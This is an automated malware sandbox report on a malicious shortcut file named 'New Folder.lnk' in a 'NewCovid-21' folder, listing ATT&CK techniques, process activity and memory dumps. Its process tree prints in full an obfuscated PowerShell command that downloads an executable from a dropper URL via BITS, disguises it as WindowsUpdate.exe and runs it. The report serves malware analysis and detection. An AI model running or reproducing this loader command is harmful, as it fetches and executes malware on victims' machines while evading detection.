434d39bfbcee378ed62a02aa40acc6507aa00b2a3cb0bf356c0b23cc9eebcd77

Analysis

max time kernel
129s
max time network
133s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
28-02-2022 03:16

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General

Target

NewCovid-21/New Folder.lnk

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://buking.site/soft/08042021.exe

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2804	powershell.exe
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1736 wrote to memory of 2564	1736	cmd.exe	79
PID 1736 wrote to memory of 2564	1736	cmd.exe	79
PID 2564 wrote to memory of 2804	2564	cmd.exe	80
PID 2564 wrote to memory of 2804	2564	cmd.exe	80

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\NewCovid-21\New Folder.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" && C:\Windows\System32\cmd.exe /c poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://buk'+'ing.si'+'te'+'/so'+'ft'+'/08'+'04'+'2021.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://buk'+'ing.si'+'te'+'/so'+'ft'+'/08'+'04'+'2021.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2804

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2804-131-0x000001BF1DA10000-0x000001BF1DA12000-memory.dmp

Filesize
8KB

Download
memory/2804-132-0x000001BF1DA13000-0x000001BF1DA15000-memory.dmp

Filesize
8KB

Download
memory/2804-130-0x00007FF936F63000-0x00007FF936F65000-memory.dmp

Filesize
8KB

Download
memory/2804-133-0x000001BF03CF0000-0x000001BF03D12000-memory.dmp

Filesize
136KB

Download
memory/2804-134-0x000001BF03DB0000-0x000001BF03DC4000-memory.dmp

Filesize
80KB

Download
memory/2804-135-0x000001BF1DA16000-0x000001BF1DA18000-memory.dmp

Filesize
8KB

Download
memory/2804-136-0x000001BF1DA18000-0x000001BF1DA19000-memory.dmp

Filesize
4KB

Download